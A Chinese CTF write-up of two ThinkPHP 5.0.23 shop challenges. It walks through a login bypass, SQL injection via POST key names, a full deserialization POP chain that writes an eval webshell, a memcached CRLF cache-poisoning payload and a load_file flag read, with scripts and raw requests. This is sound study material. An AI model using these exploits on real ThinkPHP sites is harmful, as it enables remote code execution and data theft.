分析完这题,时隔一年又让我想起这句话……
thinkshop
拿到手是一个.tar文件,而且用的是amd64打包的,m1折腾了好久也没搞好debug = = debug只能本地起一个服务
构建好容器后直接把html下的附件拉下来后先访问。可以发现是个thinkphp 5.0.23搭建的商店(版本号随便打个404就能发现)
进去后什么都没有,所以分析一下入口代码。发现首页html在html/application/index/view/index/index.html
在controller目录下又找到Index.php
这里的assign是在html中注册一个变量的意思。这样就能在html里用类似下面这样的方法调用php里的变量。这种方法就是php模板
一样在view目录下,发现admin里有一个login.html,所以应该是有登陆入口。看一下路径
现在的访问路径是http://127.0.0.1:36000/public/index.php/index/index/index
,所以猜测是http://127.0.0.1:36000/public/index.php/index/admin/login.html
。成功访问
根据代码分析可以发现,post数据交给了一个叫do_login的地方,搜索一下
跟进找到Admin.php里
想办法看能不能登陆。这里主要是要看$adminData是怎么处理的。可以看到查找了admin表,并用cache函数尝试通过缓存获取。这里因为我们有容器,所以进到容器里看一下admin表
查一下这个被md5的密码可以得到123456。但此时如果直接拿admin和123456去登陆会发现提示错误,主要问题就在于后面这个很容易被忽略的find函数
可以看到,这个find函数直接拿post进来的用户名去find,这里可以搜一thinkphp里的下find方法
可以发现,当find里是个字符串时,会将其当作主键进行查询。一般就是第一个字段,也就是id字段,而admin显然是在username字段,因此没法查到,所以才会登陆失败。所以这里要用username=1&password=123456
进行登陆
登陆进来后发现有几个操作,先进入修改看看
商品信息应该是markdown格式,可以看一下代码
在goods_edit.html里发现index/admin/do_edit
根据刚刚的经验,跟进到do_edit函数
可以发现所有修改的数据都会被这个函数处理。我们先回到html看一下。发现这个地方有一个反序化的点,在进入这个页面时会显示数据库里存放的markdown内容,就是这样调出来的
或者在首页的商品详情页面也能看到类似的反序列化调用点
搜一下可以发现thinkphp5.0.24存在反序化漏洞,5.0.23可用(点这里查看,更详细分析可以看这里)
所以接下来就是想办法修改数据库的内容从而利用这个反序列化点。
不过先不着急,返回去先看一下首页还没有看的添加功能。这里我们直接看Admin.php里的操作函数就行
先来看看do_add
首先$data可控,因为反序列化的点只对$goods[‘data’]进行,所以我们只看’data’键的操作。
在第131行可以看到直接对’data’键的值进行了序列化,我们如果在这里传入payload后存入数据库是被事先序列化一遍的,并且如果我在post时试图插入一个新的键值对,他也不会写入到goods里。显然这里不可控。
回到刚刚的edit里,发现所有post进来的东西都会被丢到saveGoods函数,跟进
可以发现这里一样是对’data’键进行事先序列化,但是到目前为止整个过程还并没有对变量$data(需要注意是变量$data而不是键’data’)的其他键值进行处理,也就是说如果我在这里插入一个键值对,是可以正常传进save函数的。我们继续跟进save
一样,整个$data进入到updatedata函数,跟进
发现直接把传进来的所有$data变量里的键都存到数据库里,并且不存在过滤,所以这里我们直接构造payload如下,尝试修改数据库
data` = 111 where id = 1#
丢到cyberchef里编码一下就开打。
但是发现直接说商品更新失败了,而且sql数据库里也没有变化
说明写入失败了。看了一下网上几篇wp说是rtrim会把空格干掉
但查询后发现rtrim函数的作用是去除末尾的空格,即便指定了第二个参数也是末尾。而且根据updatedata函数的逻辑,这里的rtrim主要目的是为了删掉sql语句中最后一个多出来的逗号,这样才能写入数据库
所以便不禁怀疑这里的空格真的如网上的wp所说的被rtrim干掉了吗?为了进一步验证,我在容器内的do_edit函数中加入了var_dump,先来看一下从post传进来后的数据是不是正常的。
再打一遍
可以看到,我传进来的空格确实没了,但并不是被删掉,而是被替换成了_
,而且这个操作并不在rtrim完成,而是input传值的时候就已经发生了。原因是post会把param的名字里携带的空格给替换成下划线,这个在ctfshow的web入门就见过
所以为了避免这个问题,我们就可以用sql注入的空格绕过方法进行注入了,payload如下
data`='redshome'/**/where/**/id=1#
成功,再看一下数据库
一样成功写入。接下来就是要找反序化利用链了,直接用freebuf找到的链子打就行
反序列化payload exp如下
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes
{
}
class Windows extends Pipes
{
private $files = [];
function __construct()
{
$this->files = [new Pivot()];
}
}
namespace think\model;
#Relation
use think\db\Query;
abstract class Relation
{
protected $selfRelation;
protected $query;
function __construct()
{
$this->selfRelation = false;
$this->query = new Query();#class Query
}
}
namespace think\model\relation;
#OneToOne HasOne
use think\model\Relation;
abstract class OneToOne extends Relation
{
function __construct()
{
parent::__construct();
}
}
class HasOne extends OneToOne
{
protected $bindAttr = [];
function __construct()
{
parent::__construct();
$this->bindAttr = ["no", "123"];
}
}
namespace think\console;
#Output
use think\session\driver\Memcached;
class Output
{
private $handle = null;
protected $styles = [];
function __construct()
{
$this->handle = new Memcached();//目的调用其write()
$this->styles = ['getAttr'];
}
}
namespace think;
#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model
{
protected $append = [];
protected $error;
public $parent;#修改处
protected $selfRelation;
protected $query;
protected $aaaaa;
function __construct()
{
$this->parent = new Output();#Output对象,目的是调用__call()
$this->append = ['getError'];
$this->error = new HasOne();//Relation子类,且有getBindAttr()
$this->selfRelation = false;//isSelfRelation()
$this->query = new Query();
}
}
namespace think\db;
#Query
use think\console\Output;
class Query
{
protected $model;
function __construct()
{
$this->model = new Output();
}
}
namespace think\session\driver;
#Memcached
use think\cache\driver\File;
class Memcached
{
protected $handler = null;
function __construct()
{
$this->handler = new File();//目的调用File->set()
}
}
namespace think\cache\driver;
#File
class File
{
protected $options = [];
protected $tag;
function __construct()
{
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>',
'data_compress' => false,
];
$this->tag = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize([new Windows()]));
sql注入脚本如下
import requests
url = "http://192.168.111.146:36000/public/index.php/index/admin/do_edit.html"
cookies = {
"PHPSESSID":"自己的sessionid"
}
exp = "这里填生成的exp"
data = {
'id': '1',
'name': '1',
'price': '1.00',
'on_sale_time': '2023-12-16T21:20',
'image': '123',
f"data`='{exp}'/**/WHERE/**/`id`/**/=/**/1;#": '123','data': '1'
}
re = requests.post(url=url,cookies=cookies,data=data)
print(re.text)
打完后就能在public目录下看到生成的马
最后还有一个地方需要注意,生成马在访问的时候需要注意文件名里携带的符号的url编码,下面这个链接是我访问成功的,可以参考一下
http://127.0.0.1:36000/public/%3C%3Fcuc%20cucvasb();riny($_TRG%5Bpzq%5D);%3F%3E3b58a9545013e88c7186db11bb158c44.php
如果访问失败大概率就是?
没有编码
thinkshopping
和上一题主要不同在两个地方
第一个是反序列化入口没了,变成了下面这样的直接echo(其实后面想来前一题这样故意放一个反序列化入口着实有点刻意= =)
第二个是mysql的secure_file_priv变成空的了,之前是有值的。说明mysql的文件读取限制被解除,可以用load_file读取任意文件(更刻意了= = 不过这点也是看大头wp才知道的,我自己做的话很难往这个地方去想,因为上一次用到这个参数还是23年西湖论剑的udf提权,很少很少用
admin用户信息也没了
看了一下do_edit这些上一题的关键函数发现都没有变化,说明sql注入的点还是没变,原来的地方还能打,但前提是要想办法登陆
这要咋登陆?直接给空值又不行,所以我们这里只能想办法往里面写一个数据。而正好在做上一道题的时候,在审计容器文件时就发现了一个叫memcached的东西,搜了一下发现有CRLF漏洞,详情可以看这里
简单来说就是可以通过穿传入键值对去写入数据到缓存
漏洞的利用思路则像上图示例中是找到一个get函数去写
而正好我们验证登陆的$adminData又有一个cache,说明读取服务器中存储的信息会先从缓存里读
进到find函数里粗略看了一眼,发现还真有get,在2659行左右
所以我们就可以用这个漏洞打。
因为没用过这个缓存组件,所以先来看一下php里是怎么操作这个组建的。首先跟进find
显然find传进来的$data是个字符串,所以这俩判断直接pass
接下来到这里,一开始我其实也没看懂他这些操作是在干啥,简单来说就是创建了一下$options和$pk,然后先判断$data是不是空的,显然不满足。要想知道这里的elseif的一大串条件有没有满足也不用一个一个去对照$optinons里的值,直接var_dump一下$key就知道没有进来以及$key是个啥了,所以直接加个var_dump一下看看$key在干嘛
打一下
发现没有输出什么值,说明没进入elseif,那我们就接着往下看
赋值就不说了。其他的一样,我们先来看看第一个if能不能进,正好get函数就在这个if里。顺便打印一下$options看看都是些什么内容
成功显示2,并且打印了var_dump的值。
这里我插一个题外话,相信有细心的朋友一定发现了一点猫腻,那就是’fetch_sql’这个键不明明是个bool吗,怎么会过这里的empty呢?我们搜一下empty函数是怎么处理数据的就知道了
算是一个意外收获的小tip
回道题目,拿到的$options值先留着,然后接着往下看
进来看里面的第一个if,对照一下上面我们获取到的$options值,可以很轻松的判断出这个if应该是会进入的,这样一来下面那几个elseif都不用看了,获取到的$key能直接用于get函数。
我们也可以打印一下$key看看长啥样
接着我们就可以利用这个格式的key去写入数据了
但是问题又来了,要写什么样的数据呢?我看了几篇wp,包括大头的(其实大部分人都是直接抄的大头的wp……写的质量也是参差不齐,有的甚至直接拿大头的wp贴上去也不标注一下来源)
但一样是这个问题,大头的wp也有一个让我不是很明白的点
第一次看到里的function我想到的应该跟很多tp框架初学者一样不知道这里具体是怎么实现的,于是我找到了下面这篇wp
这里他以goods表的内容写入为例子,去set一个数据看看到底长啥样。虽然这样做直觉上是没错,但我还是不禁怀疑道:为什么要用query另起一个sql查询去set,这和登陆验证里的查询方式并不一样,这样做并不能保证自己写的查询set的存储方式和tp框架的一样,有很大“猜”的成分。于是我又尝试找了几篇wp试图找到一个不是靠“猜”出来的答案,最后并没有找到。但我看到了下面这篇
虽然这个博主后面一样没有解释为什么要自己写一个query,但他的注释引起了我的注意。意思就是,当find在cache找不到数据后会去查数据库,查到后会写入缓存。所以如果我能看到这里写入后缓存内容是什么,才能验证上面大头的wp里写的是否是对的。
于是又开始了漫长的代码审计
首先我先看到了上面注释中将数据写入缓存的地方
跟进一下cacheData发现是个set,说明确实是写入缓存数据
那么就来看看怎么满足这个条件,让他写入一个缓存看看。先看$cache。发现唯一一个对$cache赋值的地方是
上面我们已经验证过这个if可以进入,所以显然写入缓存的第一个if可以满足。接着看$result
$result的第一次赋值在这里
进到if后就直接到了我们的漏洞利用点进行第二次赋值
接着就是进入到下面这个大if里。但不需要都看,我们只需要把注意力放在$result上。
在这里进行第三次赋值
那么思路就很清楚了,我们只要知道哪一次赋值能让$result被写入一个数据库里存在的数据,再去发一次username,var_dump一下就能知道了。那么我们就先从第一个开始看。
第一个显然不可能,但是第一次的结果能否保留决定了后面那个大if能不能进入,所以我们还是用刚刚用过的方法,在大if里放个echo,来看看能不能进入。这里我们用thinkshop里的username=1&password=123来登陆
成功进入,说明false被保留了下来,应该是get没有结果所以也被赋了个false,有兴趣可以再放一个var_dump看看,这里我就不探究了。继续往下,来到第三个赋值前,我们可以发现,赋值结果和$resultSet有关系,往上看一下$resultSet
是个sql查询,和大头里给的一样是个query查询,这其实就是他要用query的原因。但大头的poc里省略掉了除$sql外的另外几个参数,所以为了严谨,我们还是把各个参数都看一看。
我们先进到query看一下后面几个参数会不会对结果有影响。
tp给的注释写的很清楚,显然后面两个参数并不会对结果造成影响。那么就剩下这个$bind。var_dump后是这样
看起来怪怪的,但把$sql一起打印出来就不怪了
很明显这里的$bind其实就是替换掉$sql里参数的作用。我们最后再来看一下memcached里的查询结果
这是我的发包
这是get的结果
至此,格式已经验证完毕,确实就是要这样利用的。所以我们就照着payload打就行
admin
set think:shop.admin|admin 4 900 101
a:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"21232f297a57a5a743894a0e4a801fc3";}
admin%00%0D%0Aset%20think%3Ashop.admin%7Cadmin%204%20900%20101%0D%0Aa%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A32%3A%2221232f297a57a5a743894a0e4a801fc3%22%3B%7D
最后就是直接用load_file读取即可,这里我就直接贴大头wp了
POST /public/index.php/index/admin/do_edit.html HTTP/1.1
Host: eci-2ze7q6gtt4a3a07rywcf.cloudeci1.ichunqiu.com
Content-Length: 183
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=korn6f9clt7oere36ke7pj7m70
data`%3Dunhex('')/**/,`name`%3Dload_file('/fffflllaaaagggg')/**/where/**/id%3D1/**/or/**/1%3D1#=1&id=1&name=a&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=1&data=%27%0D%0Aa